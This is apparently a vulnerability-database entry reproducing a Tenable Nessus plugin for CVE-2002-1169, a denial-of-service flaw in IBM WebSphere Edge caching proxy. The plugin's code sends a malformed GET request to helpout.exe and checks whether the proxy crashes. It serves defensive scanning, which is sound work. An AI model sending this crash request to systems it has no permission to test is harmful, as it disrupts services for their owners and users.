CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
EPSS
Percentile
90.9%
We could crash the WebSphere Edge caching proxy by sending a bad request to the helpout.exe CGI.
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# (C) Tenable Network Security, Inc.
#
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# References:
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# From:"Rapid 7 Security Advisories" <[email protected]>
# Message-ID: <OF0A5563E4.CA3D8582-ON85256C5B.0068EEBC-88256C5B.0068BF86@hq.rapid7.com>
# Date: Wed, 23 Oct 2002 12:08:39 -0700
# Subject: R7-0007: IBM WebSphere Edge Server Caching Proxy Denial of Service
#
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include("compat.inc");
if (description)
{
script_id(11162);
script_version("1.29");
script_cvs_date("Date: 2018/11/15 20:50:26");
script_cve_id("CVE-2002-1169");
script_bugtraq_id(6002);
script_name(english:"IBM WebSphere Edge Caching Proxy DoS");
script_summary(english:"Crashes the remote proxy");
script_set_attribute(
attribute:'synopsis',
value:'The remote service is vulnerable to denial of service.'
);
script_set_attribute(
attribute:'description',
value:
"We could crash the WebSphere Edge caching proxy by sending a bad
request to the helpout.exe CGI."
);
script_set_attribute(
attribute:'solution',
value: "Upgrade to Caching Proxy efix build 4.0.1.26 or later."
);
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(
attribute:'see_also',
value:'https://packetstormsecurity.com/advisories/misc/R7-0008.txt'
);
script_set_attribute(attribute:"vuln_publication_date", value:"2002/10/23");
script_set_attribute(attribute:"plugin_publication_date", value:"2002/11/25");
script_set_attribute(attribute:"patch_publication_date", value:"2002/10/23");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:ibm:websphere_edge_server_caching_proxy");
script_end_attributes();
script_category(ACT_DENIAL);
script_copyright(english:"This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.");
script_family(english:"Web Servers");
script_dependencie("httpver.nasl", "http_version.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
exit(0);
}
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80);
if (http_is_dead(port: port)) exit(0);
banner = get_http_banner(port:port);
if (! banner || "WebSphere" >!< banner ) exit(0);
http_disable_keep_alive();
foreach dir (cgi_dirs())
{
p = string(dir, "/helpout.exe");
req = string("GET ", p, " HTTP\r\n\r\n");
w = http_send_recv_buf(port: port, data: req);
if(http_is_dead(port: port))
{
security_warning(port);
exit(0);
}
}